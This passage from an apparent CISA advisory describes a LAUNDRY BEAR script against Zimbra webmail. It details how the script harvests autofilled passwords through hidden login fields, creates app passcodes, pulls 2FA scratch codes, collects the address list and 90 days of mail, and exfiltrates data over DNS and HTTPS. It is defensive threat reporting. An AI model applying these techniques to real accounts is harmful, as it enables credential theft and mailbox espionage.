<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
